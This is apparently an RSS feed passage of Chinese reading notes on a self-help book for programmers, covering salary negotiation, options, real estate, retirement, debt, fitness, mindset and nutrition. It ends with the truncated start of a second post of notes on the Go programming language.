&lt;p&gt;被问及当前薪酬该怎么办：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“我宁愿不告诉您我目前的薪水，因为如果它高于您为这个职位设定的预算，我不希望就因为这个就丢掉了本次工作机会——因为我愿意为了合适的职位适当降低收入水平。但是，如果它低于这个工作将会支付的薪酬，我也不想自贬身价。我相信您一定能够理解。”&lt;/li&gt;
&lt;li&gt;你也可以说“我不想回答这个问题”，或者回答“因为我与现在的雇主签有保密协议，不能与其他人讨论具体的薪资数目”。&lt;/li&gt;
&lt;li&gt;如果非得说出一个数额，尽可能通过谈论可以影响到整体薪酬方案的奖金、福利等，让这个数额灵活多变，或者告诉他们整体薪酬方案为X美元，再加上你现在获得的各种福利。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果offer上不包含薪酬数额，那你就不是真正得到了offer，因为它并不是一份offer。&lt;/p&gt;
&lt;p&gt;如果他们给了你要求的薪酬，那么你要么接受，要么放弃。如果你再报一个比初始要求更高的数额，不仅让对方对你印象不佳，而且很可能会因此完全失去这份工作。&lt;/p&gt;
&lt;p&gt;一旦有offer在手，你几乎总是会想还价。还价的数额由你决定，不过我强烈建议还价的数额要充分满足自己的胃口。你可能会认为提一个与他们报价接近的数目更有可能得到满意的反馈，但是一般情况下这种做法往往会适得其反。还是选择较高的价码作为还价吧。&lt;/p&gt;
&lt;p&gt;只要offer没被撤销，你总是可以告诉他们你犯了个错误，在重新衡量了一切因素之后，你认为“贵公司最初报价还是合理的”。&lt;/p&gt;
&lt;p&gt;大多数时候，如果提出高额还价的时候，你会得到一个稍高一点儿的报价。你可以接受这一报价，但是大多数情况下，我的建议是你再还一次价。&lt;/p&gt;
&lt;p&gt;“我很乐意为贵公司工作。这份工作听起来相当不错，能与您的团队一起工作我也很激动。不过，我仍然对这个数额有一点点犹豫。如果您能提高到X美元，我可以今天就确定并签约。”&lt;/p&gt;
&lt;p&gt;两次还价之后，我不建议再继续协商了。&lt;/p&gt;
&lt;p&gt;一定要清楚自己值什么价钱。尽可能详细地研究一下自己求职的公司的薪酬范围，研究一下与你申请的职位类似的职位的薪酬范围。&lt;/p&gt;
&lt;p&gt;你要说清楚自己为什么值这个价钱，你能给公司带来什么好处。你可以讲一下自己对之前的雇主们的贡献，以及为什么付给你你要求的薪水是一笔很好的投资。&lt;/p&gt;
&lt;p&gt;告诉他们你已经有几个offer，现在正在深思熟虑，希望做个最好的决定。但是，要小心，语气不要太傲慢。自信是好事，傲慢就是坏事了。&lt;/p&gt;
&lt;h3&gt;第51章 期权：所有乐趣之所在&lt;/h3&gt;
&lt;p&gt;期权就是选择做什么或者不做什么。期权背后的基本思想就是允许某人为在未来的某个日期买入或卖出股票的权利付费。&lt;/p&gt;
&lt;p&gt;为什么要关注期权：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;作为软件开发人员，你有能力比大多数人更好地理解期权。&lt;/li&gt;
&lt;li&gt;了解期权是如何运作的也有助于提升你的财商。&lt;/li&gt;
&lt;li&gt;在了解了期权之后，你会发现，期权充满乐趣。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;允许在未来一段时间内以固定价格购买股票的期权被称为“看涨期权”，允许在未来一段时间内以固定价格出售股票的期权被称为“看跌期权”。&lt;/p&gt;
&lt;p&gt;期权的杠杆作用会让你快速地赚很多钱，也可能更快速地亏掉更多钱。&lt;/p&gt;
&lt;p&gt;沽出期权的时候，你就变成了必须以某个价格买入或者卖出股票的义务方。&lt;/p&gt;
&lt;p&gt;沽出期权的风险比买入期权的风险更高。&lt;/p&gt;
&lt;p&gt;大多数被沽出的期权都是所谓“备兑期权”。这就意味着，期权合约是由一些真实的股票或者其他期权作为支撑的，从而限制期权卖方的潜在损失。&lt;/p&gt;
&lt;p&gt;备兑看涨期权就是你在购买一些股票的同时又卖出该股票的看涨期权。&lt;/p&gt;
&lt;p&gt;如果你不指望自己购买的股票快速上涨，并且甘愿冒着错过股市上由担保收入所得大幅增长的风险，你就可以使用这一策略。你实际上是以自己的部分潜在收益来换取更低的风险。&lt;/p&gt;
&lt;p&gt;配对看跌期权：在购买股票的时候，同时购买了该股票的看跌期权，这一策略会让你享受股票上涨带来了全部收益，如果股票下跌，也会帮你减轻潜在损失（因为你拥有以一定的保证价格出售该股票的选择权）。&lt;/p&gt;
&lt;p&gt;铁鹰式套利：同时卖出股票或交易基金（ETF）的两侧期权，然后再以差距较大的价格买入期权。&lt;/p&gt;
&lt;h3&gt;第52章 房地产投资面面观&lt;/h3&gt;
&lt;p&gt;房地产投资是低风险、高负债的投资类型。&lt;/p&gt;
&lt;p&gt;以租养贷：意思是说所有费用，包括抵押贷款、税费和保险，都由它产生的租金收入来提供保障。&lt;/p&gt;
&lt;p&gt;杠杆作用能让你在房价小幅升值的时候就获得高额回报，而且风险还不大。又因为贷款的抵押物是物业，所以从技术上讲你最大的损失不过是初始投资。&lt;/p&gt;
&lt;p&gt;如果你购买的房产用于出租，并且每个月按固定贷款利率还款，那你从这一房产中的收入就会非常稳定；你可以利用银行的钱支付购买房产所需的大部分费用，从而让自己利用资本负债获得高额回报；如果遇上通货膨胀，你的房产投资可将资本负债作为对冲工具从中受益。&lt;/p&gt;
&lt;p&gt;聪明的房地产投资（不是投机）始于认识到房地产投资是一项长期投资。&lt;/p&gt;
&lt;p&gt;常用的投资策略，至少是我推荐的策略，就是：购买一处租赁房产。这套房产要么是正向的现金流，要么用30年期固定利率贷款以租养贷。这一策略风险极低，但是上升空间巨大；即使赶上房地产行情大热，价格火箭般飞涨，也能保证你30年后获得贷款全清的房产。&lt;/p&gt;
&lt;p&gt;因为房地产市场的流动性不强，价格差距往往很悬殊。&lt;/p&gt;
&lt;p&gt;要想掌握如何识别优质交易，你需要两样东西：实践和市场研究。&lt;/p&gt;
&lt;p&gt;你要根据房价估算出抵押贷款的成本，以及包括税费、保险、业主会费、水电费、物业维修费等在内的其他开支。&lt;/p&gt;
&lt;p&gt;你可能可以给某处房产开出低于市价50%报价——也许卖家正急于脱手或者不关心价格。&lt;/p&gt;
&lt;p&gt;我总是请我能找到的最好、最细心的验房师验房。&lt;/p&gt;
&lt;p&gt;如果验房没有任何问题，下一步就是申请获取贷款。&lt;/p&gt;
&lt;p&gt;每个月我花的最值钱的钱就是请物业管理公司打理我的租赁房产。&lt;/p&gt;
&lt;h3&gt;第53章 你真的了解自己的退休计划吗&lt;/h3&gt;
&lt;p&gt;规划退休计划的关键就是利用逆向思维，精确计算每个月的生活费用，找出办法来确保自己的收入能满足这一要求，同时还留有余地，以备不时之需。&lt;/p&gt;
&lt;p&gt;当你拥有充裕的空闲时间的时候，当你再也不用储蓄、再也不用上下班的时候，有些开销会大幅减少。&lt;/p&gt;
&lt;p&gt;如果从现在起，你能缩减每个月的开支，不但不会令你在以后的生活中感觉到生活水准降低了，而且还会让你提早退休。&lt;/p&gt;
&lt;p&gt;为退休攒钱最有效的方法就是搞清楚如何缩减每个月的开支。&lt;/p&gt;
&lt;p&gt;一旦算出自己退休以后每个月的生活开销是多少，当你的“被动收入”达到每月所需的生活开销的时候，你就可以正式退休了。所谓被动收入，就是不用工作就能获得的收入。&lt;/p&gt;
&lt;p&gt;要想依靠一定资本带来的被动收入生活，首先要有资本。&lt;/p&gt;
&lt;p&gt;要长期积累财富，首选也是最明显的方案就是向退休账户或者其他养老金计划定期缴款。这个方案的唯一弊端是，你一旦决定采用这一方案，就必须等到60岁时才能退休。这里的策略就是，给退休账户存尽可能多的钱，这笔钱会不断增加，也会有复利。等你到退休年龄的时候，你可以取出这笔钱而无需支付任何额外费用。&lt;/p&gt;
&lt;p&gt;在你达到传统的退休年龄之前，退休账户里的钱是不能动的。&lt;/p&gt;
&lt;p&gt;要提前退休，你需要找出一种方法来构建超过你每月开支数额的被动收入来源，并且需要能够保证自己的收入能冲抵通货膨胀：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你可以选择购买高收益率的股票，股票升值的时候足以对抗通胀。&lt;/li&gt;
&lt;li&gt;你也可以创立或者购买知识产权，获取版权收入。这可以是专利、音乐作品、书籍，甚至是电影剧本。&lt;/li&gt;
&lt;li&gt;你可以购买一家公司，或者创建自己的公司，最终将其转手给别人打理，而你只需要从剩余利润中分一杯羹。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你不得不从自己能承受得起的小规模投资开始，随着时间的推移，不断增大你的投资规模。&lt;/p&gt;
&lt;p&gt;你必须循序渐进，始终以增加被动收入为目标。从自己持有的资产中获利越多，在购买更多能产生收入的资产方面就越有进展。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;削减开支。&lt;/li&gt;
&lt;li&gt;买最小的房子或者租最小的公寓，或者免费跟你的父母住在一起，要通过各种手段做到这一点。买辆二手车，或者干脆过无车生活。切断有线电视，不要外出吃饭，买旧家具用。&lt;/li&gt;
&lt;li&gt;赚更多的钱。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;搬到旧金山或者纽约这样的大城市，这些地方通常薪水更高。如果你很聪明，能在消费高的城市找到便宜生活的方法，这样你就能把薪水的差价收入囊中。这一差价是由于居住成本而导致的生活成本的增加。如果能开始一份兼职，或者做一些自由职业，那就动手做吧。你赚的钱越多，可用于投资的资本就越多。&lt;/p&gt;
&lt;p&gt;做最有利可图的投资。&lt;/p&gt;
&lt;h3&gt;第54章 债务的危害：社保债务代价昂贵&lt;/h3&gt;
&lt;p&gt;真正获得财务成功的唯一方法就是用钱生钱。&lt;/p&gt;
&lt;p&gt;当你身背债务的时候，通常会靠自己的钱去支付利息。&lt;/p&gt;
&lt;p&gt;与债务相关的最大的愚蠢之举就是，一边欠债（特别是欠信用卡债务）一边存钱。&lt;/p&gt;
&lt;p&gt;你为债务支付的利息要高于你把钱存在银行里所得的利息，特别是当这笔债务是由信用卡欠款产生的时候。&lt;/p&gt;
&lt;p&gt;确保先偿还利息最高的债务。&lt;/p&gt;
&lt;p&gt;每个月给利息最高的债务还尽可能多的钱，并坚持这么做，直到还清所有的债务。&lt;/p&gt;
&lt;p&gt;不必要的债务，也就是说，在不需要欠债的时候欠债。&lt;/p&gt;
&lt;p&gt;先存钱再用现钱买东西。&lt;/p&gt;
&lt;p&gt;背负债务的底线就是确保在背上债务之前，这笔债务实际上是一笔投资，它将为你产生的回报高于你为这笔债务所支付的利息。&lt;/p&gt;
&lt;h3&gt;第55章 额外馈赠：我是如何做到33岁退休的&lt;/h3&gt;
&lt;p&gt;财务自由—— 一种不会囿于财务状况被迫用自己别无选择的方式将自己的时间花费在不合心意的事情上的能力。&lt;/p&gt;
&lt;p&gt;我从不追求永远不再工作，但是我一直追求在我不想工作的时候就不工作。&lt;/p&gt;
&lt;h2&gt;第六篇：健身&lt;/h2&gt;
&lt;p&gt;人的身体就是人的灵魂的最好写照。&lt;/p&gt;
&lt;h3&gt;第56章 为什么需要破解自己的健康密码&lt;/h3&gt;
&lt;p&gt;健身不仅是保持健康体魄的关键要素之一，也是灵活的、具有创造性的脑力活动的基础。&lt;/p&gt;
&lt;p&gt;好身材能让你自我感觉良好，也能让你对能完成自己设定的目标这件事感觉良好。&lt;/p&gt;
&lt;p&gt;当你看上去很好看的时候，你的感觉也会很好。&lt;/p&gt;
&lt;p&gt;如果你体重超标、处于亚健康状态，那你罹患各种可预防性疾病的风险就很高。&lt;/p&gt;
&lt;h3&gt;第57章 设定你的健身标准&lt;/h3&gt;
&lt;p&gt;可能的健身目标：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;减肥（减掉脂肪）。&lt;/li&gt;
&lt;li&gt;增肌（增长肌肉）。&lt;/li&gt;
&lt;li&gt;增加力量（不一定是增长肌肉）。&lt;/li&gt;
&lt;li&gt;增加肌肉耐力（改善运动表现）。&lt;/li&gt;
&lt;li&gt;改善心血管健康。&lt;/li&gt;
&lt;li&gt;在某些运动上表现更好。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一旦决定了健身的主要目标，你就应该想办法创建一系列里程碑，沿着里程碑前进你就一定会到达最终的目标。&lt;/p&gt;
&lt;p&gt;一定要确保里程碑是可以实现的。&lt;/p&gt;
&lt;p&gt;如果没时间锻炼：把健身当作优先事项。&lt;/p&gt;
&lt;p&gt;在你向着自己的目标努力前进的时候，采用正确的方法测量自己的进展也是非常重要的。&lt;/p&gt;
&lt;p&gt;使用每周测量值来制作进度表。&lt;/p&gt;
&lt;p&gt;在你达成任何健身目标之后，你逐渐减少之前的节食和健身计划，而不是迅速切换回“正常生活”。&lt;/p&gt;
&lt;h3&gt;第58章 热力学、热量和你&lt;/h3&gt;
&lt;p&gt;健身行业对于体重增加或减少的直接原因存在争论，即体重的增减到底是与摄入的热量有关，还是与消耗的热量有关。&lt;/p&gt;
&lt;p&gt;卡路里根本上讲是能量的计量单位，就是将1千克水在1大气压（101.325 kPa）下提升1℃所需要的热量。&lt;/p&gt;
&lt;p&gt;如果想减肥，你必须保证自己摄入的热量要少于燃烧的能量，“能量赤字”的大小决定了你能减重多少。&lt;/p&gt;
&lt;p&gt;无论是在跑步还是在沙发上睡觉，你的身体都在燃烧卡路里。你的身体需要一定数量的热量来维持生命。这部分基础热量被称为基础代谢率，即BMR。&lt;/p&gt;
&lt;p&gt;哈里斯-本尼迪克特公式：见书。&lt;/p&gt;
&lt;p&gt;因为减肥初期你的基础代谢率会大幅下降，所以最终你需要进一步降低热量的摄入，或者增加运动量，这样才能保持持续减肥。&lt;/p&gt;
&lt;h3&gt;第59章 动力：让你的屁股离开椅子&lt;/h3&gt;
&lt;p&gt;实现健身目标最难的是获得并保持健身的动力。&lt;/p&gt;
&lt;p&gt;在自己努力争取之前就急于给自己实际的奖励，这实际上会让你失去动力。&lt;/p&gt;
&lt;p&gt;要尽量保证你只有努力做到之后才能获得奖励，这样你才可能会更积极地去实现自己的目标。&lt;/p&gt;
&lt;p&gt;坚持健身计划的激励因素：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;听有声书：我跑步或举重的时候会一直听着有声书或者播客，我发现这件事值得我每天都期待&lt;/li&gt;
&lt;li&gt;在跑步机上看电视：如果你只允许自己在跑步机上跑步时才看电视，你可能会有更大的动力去跑步&lt;/li&gt;
&lt;li&gt;外出跑步：如果你喜欢户外活动，那么外出跑步对你而言可以是一个巨大的动力&lt;/li&gt;
&lt;li&gt;离开孩子一段时间：我们都需要给自己一点儿休息时间，许多健身房有看护服务，能在你锻炼的时候照看你的孩子&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;试着通过提前计划，尽可能减少生活中的各种抉择。&lt;/p&gt;
&lt;h3&gt;第60章 如何增长肌肉：书呆子也能拥有强健的肌肉&lt;/h3&gt;
&lt;p&gt;通过增加你要求肌肉完成的运动量来逐步增加肌肉的负担，使身体以增长肌肉作为回应。&lt;/p&gt;
&lt;p&gt;通常当你举起杠铃的时候，你已经把这项运动内容分解为不同的动作。每个动作你会做很多组，而每组你又要重复很多次，即重复次数。&lt;/p&gt;
&lt;p&gt;一组基本上就是完成某个动作的一个连续环节。运动次数就是动作的每一个完整循环。&lt;/p&gt;
&lt;p&gt;在完成一定重复次数后需要休息，我们称之为一组。&lt;/p&gt;
&lt;p&gt;如果你的重复次数较少，而每组之间的休息时间较长，你基本上是在增强力量。&lt;/p&gt;
&lt;p&gt;肌肉增大主要是通过中等的重复次数和适量的休息间隔实现的。&lt;/p&gt;
&lt;p&gt;进一步增加重复次数来提升肌肉的耐力。&lt;/p&gt;
&lt;p&gt;第一次举重练习后，你可能会感到肌肉非常酸痛。这种酸痛被称为延迟性肌肉酸痛症（DOMS），将于第二天发作，通常会持续一周左右。不用担心，如果你坚持锻炼，那这种酸痛感会得到缓解并且较少发作。&lt;/p&gt;
&lt;p&gt;挑选好的动作的总体策略就是，要做尽可能多的复合运动。复合运动就是会涉及身体多处关节的练习。参与运动的关节越多，参与运动的肌肉也就越多，获得的效果也就越好。&lt;/p&gt;
&lt;p&gt;最佳的全身运动：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;胸肌：卧推、哑铃飞鸟&lt;/li&gt;
&lt;li&gt;肱三头肌：过顶臂屈伸、滑轮下压、肩部三角肌、杠铃推举、哑铃侧平举&lt;/li&gt;
&lt;li&gt;背部：单臂哑铃划船、引体向上&lt;/li&gt;
&lt;li&gt;肱二头肌、哑铃交替弯举&lt;/li&gt;
&lt;li&gt;腿部：深蹲、硬拉、提踵&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;只要按照上文提到的核心举重练习进行锻炼，腹肌也会得到相应的锻炼。&lt;/p&gt;
&lt;p&gt;每天每磅“瘦肉体重”摄入1～1.5克蛋白质。&lt;/p&gt;
&lt;p&gt;尽量吃健康食物，这样你摄入的大部分热量都用来去增长肌肉而不是增加脂肪。&lt;/p&gt;
&lt;p&gt;锻炼之后来一份高蛋白奶昔会有帮助。&lt;/p&gt;
&lt;p&gt;肌酸可以帮助你举起更重的杠铃，让你的肌肉看起来更饱满。&lt;/p&gt;
&lt;p&gt;支链氨基酸帮助确保你有足够的支链氨基酸来构建和修复肌肉。&lt;/p&gt;
&lt;h3&gt;第61章 如何获得完美腹肌&lt;/h3&gt;
&lt;p&gt;做仰卧起坐和艰苦的腹部训练，它们没有任何实际效果。&lt;/p&gt;
&lt;p&gt;要获得腹肌你必须做更难的事——遵从一个规则，将身体的脂肪降到一个很低的百分比。&lt;/p&gt;
&lt;p&gt;腹部区域是脂肪最容易堆积的主要区域之一。&lt;/p&gt;
&lt;p&gt;卷腹和仰卧起坐主要是训练腹部肌肉的耐力的，因为对抗性训练不足以形成肌肉膨胀。&lt;/p&gt;
&lt;p&gt;一旦身体的体脂率低于临界值，为了维持生命，你的身体就会疯狂地试图启动各种额外的干预机制。&lt;/p&gt;
&lt;p&gt;如果你为了看到腹肌想要将体脂降低到很低的水平，那么需要精确计算你的卡路里并保证你的体重不会下降得过快或者过慢。&lt;/p&gt;
&lt;p&gt;你可以尝试高强度间歇式训练（HITT）来减少脂肪。&lt;/p&gt;
&lt;h3&gt;第62章 启动跑步程序&lt;/h3&gt;
&lt;p&gt;跑步已经被证明会抑制食欲，所以在饿的时候跑步，一举两得，能让你离减肥目标更近。&lt;/p&gt;
&lt;p&gt;跑步是治疗轻度抑郁的天然良药，能让你自我感觉更好。&lt;/p&gt;
&lt;p&gt;跑步还有很多其他的好处，例如，增强膝盖和其他关节，提升骨密度，降低罹患癌症的风险，也能延长寿命。&lt;/p&gt;
&lt;p&gt;Couch-to-5K：每周逐步地增加你的跑步距离。它是为那些没有跑步经验、体型可能不是很好的人设计的。每周进行3次20～30分钟的跑步训练，花2个月就能完成该计划。&lt;/p&gt;
&lt;h3&gt;第63章 站立式办公及其他窍门&lt;/h3&gt;
&lt;p&gt;站着明显比坐着更有益于健康。&lt;/p&gt;
&lt;p&gt;简易食谱：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用微波炉烹饪鸡蛋&lt;/li&gt;
&lt;li&gt;原味脱脂希腊酸奶&lt;/li&gt;
&lt;li&gt;冷冻肉类&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第64章 高科技健身装备：极客现身&lt;/h3&gt;
&lt;p&gt;我是拥有某种计步器的超级粉丝，因为它不仅能帮你明确自己的实际运动量是多少，还能通过了解你的运动量来改变你的行为习惯，从而让你更有活力。&lt;/p&gt;
&lt;p&gt;即使你每天都站在体重计上，但只有看到体重随着时间的变化曲线时，你才会真正受到触动，向着正确的方向前进。&lt;/p&gt;
&lt;h2&gt;第七篇：精神&lt;/h2&gt;
&lt;h3&gt;第65章 心灵是如何影响身体的&lt;/h3&gt;
&lt;p&gt;如果你不相信自己能够做到，你几乎做不成任何事情。&lt;/p&gt;
&lt;p&gt;那些想要改变自己信念、控制自己想法的人们，通过积极的正念可以将其想要的变为现实。&lt;/p&gt;
&lt;h3&gt;第66章 拥有正确的心态：重新启动&lt;/h3&gt;
&lt;p&gt;积极思考与现实主义是不矛盾的。&lt;/p&gt;
&lt;p&gt;积极思考在应用层面上是现实主义的最终体现，因为它是一种信念，这种信念让你有力量改变现实，让你确信你不是环境的受害者。&lt;/p&gt;
&lt;p&gt;积极思考问题的根源是这样一种信念——你比你随处的环境更伟大。&lt;/p&gt;
&lt;p&gt;如何重启你的态度：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;改变自己的想法&lt;/li&gt;
&lt;li&gt;冥想&lt;/li&gt;
&lt;li&gt;劳逸结合&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第67章 构建一个积极的自我形象——规划你的大脑&lt;/h3&gt;
&lt;p&gt;自我形象是在甩掉别人对你的看法，摆脱所有用来自我安慰的谎言和欺骗以后，你看到的自己的样子。&lt;/p&gt;
&lt;p&gt;如果你重复做一件事同时假装你已经是自己想成为的那样的人，你最终将变成那样的人。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一开始，设定一个你想成为的清晰形象。不要给自己设定任何的人为限制，除非是那些你没有办法改变的身体特征（例如，不要把自己想象成个子很高，除非这么做能让你感到更自信。只是别指望这么想真的能让你长高。）&lt;/li&gt;
&lt;li&gt;一旦你在自己的脑海中设立了这样的形象，接下来的任务就是开始执行“仿佛”模式。“仿佛”你已经变成了你想变成的那个人。&lt;/li&gt;
&lt;li&gt;你还要给自己很多正面的肯定，这会在你潜意识深处植下你的新思维模式的种子。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第68章 爱情与恋爱：计算机无法牵着你的手&lt;/h3&gt;
&lt;p&gt;你要意识到你实际上是在玩一个游戏，所以可以试着想一些策略。&lt;/p&gt;
&lt;p&gt;解决的办法是在行为上体现出自信，用一种自然随和且充满自信的态度与别人交往。&lt;/p&gt;
&lt;p&gt;你必须要对自己表现出足够的自信，你真的相信你不需要别人给你带来快乐。你必须要相信你和别人在一起是因为你能给对方的生活带来好处&lt;/p&gt;
&lt;p&gt;三秒钟原则：从你看到某个自己喜欢的人的那一刻，有三秒钟你是很冲动的；超过三秒钟你的犹豫不决就会让你丧失自信、破绽百出。&lt;/p&gt;
&lt;p&gt;太多人会犯这样的错误——挑选一个人，然后把他/她当作理想人选放在神龛上，时刻想念着那个能让他们觉得“开心”的完美女生或者男生。&lt;/p&gt;
&lt;p&gt;如果扩大搜索范围，你的机会更好。&lt;/p&gt;
&lt;h3&gt;第69章 我的私房成功书单&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;《人性的弱点》&lt;/li&gt;
&lt;li&gt;《思考致富》&lt;/li&gt;
&lt;li&gt;《心理控制方法》&lt;/li&gt;
&lt;li&gt;《积极思考就是力量》&lt;/li&gt;
&lt;li&gt;《阿特拉斯耸耸肩》&lt;/li&gt;
&lt;li&gt;《代码大全》&lt;/li&gt;
&lt;li&gt;《代码整洁之道》&lt;/li&gt;
&lt;li&gt;《Head First设计模式》&lt;/li&gt;
&lt;li&gt;《富爸爸，穷爸爸》&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第70章 积极面对失败&lt;/h3&gt;
&lt;p&gt;我们害怕失败就是因为我们太过将失败归咎于个人，我们认为在特定领域下的失败是个人价值的流逝。&lt;/p&gt;
&lt;p&gt;不要畏惧失败，要拥抱失败。&lt;/p&gt;
&lt;p&gt;想成长就必须把自己放在保证会失败的环境中。&lt;/p&gt;
&lt;h3&gt;第71章 结束语&lt;/h3&gt;
&lt;p&gt;你不能把别人说的话都当作福音。没有人可以垄断真理。现实中，很大程度上，正是你自己发现了真理。&lt;/p&gt;
&lt;h2&gt;附录A：如果你能写代码，你就能理解金融&lt;/h2&gt;
&lt;p&gt;你可以同任何人交易而不必担心你们彼此之间的需求是否匹配。货币正好就是这个中间媒介。它代表了一些未来的效用和价值。&lt;/p&gt;
&lt;p&gt;法定货币基本上是由政府发行的，与某个特定商品之间没有直接联系。&lt;/p&gt;
&lt;p&gt;法定货币的价值主要是建立在两个方面上：有多少货币可以使用，以及发行并保障货币价值的政府之经济形势如何。&lt;/p&gt;
&lt;p&gt;通货膨胀就是货币的价值缩水了，所以跟以前相比可以购买的东西变少了。&lt;/p&gt;
&lt;p&gt;当通货紧缩发生时，你的货币更有购买力。同样金额的货币忽然可以买到更多的东西。&lt;/p&gt;
&lt;p&gt;法定货币需要特殊的机制来预防和处理通胀与通缩，或者说至少需要阻止极端通胀与通缩的发生。&lt;/p&gt;
&lt;p&gt;银行就是靠建立在这些存款上的借贷与储蓄来运作的。&lt;/p&gt;
&lt;p&gt;银行的运营主要就是靠把我们的存款借给别人、收取的贷款利息高于银行支付给我们的存款利息，从而赚取其中的差价。&lt;/p&gt;
&lt;h2&gt;附录B：股市是如何运作的：系统的游戏规则&lt;/h2&gt;
&lt;p&gt;无论你决定投资于哪种产品，重要的是要弄明白股市的运作原理。&lt;/p&gt;
&lt;p&gt;股票就是一家公司所有权的百分比。&lt;/p&gt;
&lt;p&gt;最大的原因是为了筹集资金。&lt;/p&gt;
&lt;p&gt;首先，个股并不是只有单一的股价。事实上，股市里的每只股票都有所谓的买入价和卖出价。卖出价就是你卖出股票时别人为这只股票所报出的价格。买入价就是你在买入一只股票时股票持有者的出让价格。&lt;/p&gt;
&lt;p&gt;股票的流动性越高，价差就越小；反之，股票的流动性越差，价差就越大。股票的流动性主要是由交易量的大小来确定的。通常，交易股票的人越多，流动性就越好。&lt;/p&gt;
&lt;p&gt;造市商就是在股市里那些始终有意愿买入或者卖出某只股票而创造出流动性的交易者。&lt;/p&gt;
&lt;p&gt;当你做空一只股票的时候，你将“借”该股票的一些股份，然后卖出这些股份。这让你会产生所谓的“空头头寸”。&lt;/p&gt;
&lt;p&gt;你还可以通过持有某只股票赚钱。有些股票会派发红利，也被称作为股息。股息基本上就是公司的额外利润，公司拿出来派发给它的股东作为分红，而不是用于公司的扩大投资。通常情况下，只有大公司才派发股息。&lt;/p&gt;
&lt;p&gt;股息的回报率通常不高。风险越低，潜在收益就越低。&lt;/p&gt;
&lt;p&gt;指数就是挑选一批个股来测量股市整体表现的工具。&lt;/p&gt;
&lt;p&gt;购买主要股指等效部分的股票是投资股市的一个很好的总体战略，因为随着时间的推移大多数主要股指平均每年都有10%左右的涨幅。&lt;/p&gt;
&lt;p&gt;共同基金就是由投资者发起建立、由专业的交易者（通过在股市购买了多只股票）管理的一项特殊的投资渠道。共同基金通常专注于不同的投资策略，但是许多共同基金都会把大量的资金用于购买主要股指的成分个股，以此降低其整体风险。&lt;/p&gt;
&lt;p&gt;交易型开放式指数基金（ETF）也可以让散户获得与参加一项共同基金一样的收益。&lt;/p&gt;
&lt;h2&gt;附录C：垃圾进来，垃圾出去：饮食和营养基础知识&lt;/h2&gt;
&lt;p&gt;食物可以分为三大类：碳水化合物、脂肪和蛋白质。&lt;/p&gt;
&lt;p&gt;身体需要的其他营养素大部分被归类为维生素。维生素是你的身体完成一系列的化学反应所需要的小分子。&lt;/p&gt;
&lt;p&gt;如果你摄取的食物种类足够多，就可以得到足够多的维生素。&lt;/p&gt;
&lt;p&gt;你的身体还需要纤维来辅助完成消化过程。纤维基本上就是植物性食物中你的身体无法消化和吸收的部分。&lt;/p&gt;
&lt;p&gt;人体需要多种矿物以维持正常的生理机能，如盐，它可以维持体内细胞正常的体液酸碱度水平。其他矿物质，如钙和铁，都是身体维持正常机能的必需品。&lt;/p&gt;
&lt;p&gt;热量是身体结构的最重要因素。吃下去的热量比消耗掉的热量高，就会长胖；反之，吃得少就会变瘦。&lt;/p&gt;
&lt;p&gt;摄入的蛋白质不足，身体就会分解现有的蛋白质——肌肉，以得到它所需的氨基酸。摄入的碳水化合物过多，特别是糖分过多，身体将不得不付出更多的努力，以产生足够的胰岛素来降低你的血液中血糖的水平。&lt;/p&gt;
&lt;p&gt;深度加工的食品往往含有大量的糖分和防腐剂，它们可以降低食物中营养的质量，并导致身体感到不满意而大量进食。并非所有的碳水化合物对身体的作用都是等效的。吃下一块红薯跟吃下一块加工过的白砂糖，尽管两者都是碳水化合物，但是区别巨大。&lt;/p&gt;
&lt;h2&gt;附录D：如何吃出健康来：比萨并不是一个食物组&lt;/h2&gt;
&lt;p&gt;很多我们认为不健康的东西实际上是完全没问题的——只要适量。&lt;/p&gt;
&lt;p&gt;不是所有食物的热量值都是相同的。&lt;/p&gt;
&lt;p&gt;讨论哪种食物健康与否，远远不如讨论摄入食物的总量重要。&lt;/p&gt;
&lt;p&gt;水果和蔬菜都是健康食品，因为它们的热量值都不高。大多数水果和蔬菜都含有较高的纤维含量，还含有大量的水。&lt;/p&gt;
&lt;p&gt;蛋白质的热效应值最高，消化一定量的蛋白质需要消耗相当于这些蛋白质热量值的20%〜30%的能量。&lt;/p&gt;
&lt;p&gt;蛋白质也是构建和维持肌肉的关键。&lt;/p&gt;
&lt;p&gt;不饱和脂肪实际上可以帮助降低坏胆固醇水平，并显著提高甘油三酸脂水平。你可以从鱼类和坚果类食物中找到大量的不饱和脂肪。&lt;/p&gt;
&lt;p&gt;一般情况下，未经加工的食品就是最健康的食品&lt;/p&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】Go 程序设计语言</title><link>https://www.sulinehk.com/post/note-for-the-go-programming-language/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-the-go-programming-language/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;第一章 入门&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;分号注入规则：编译器会将特定符号后的换行符（\n）转换成分号（;）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;{ 必须和 func 在同一行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;x + y&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;合法：&lt;/p&gt;
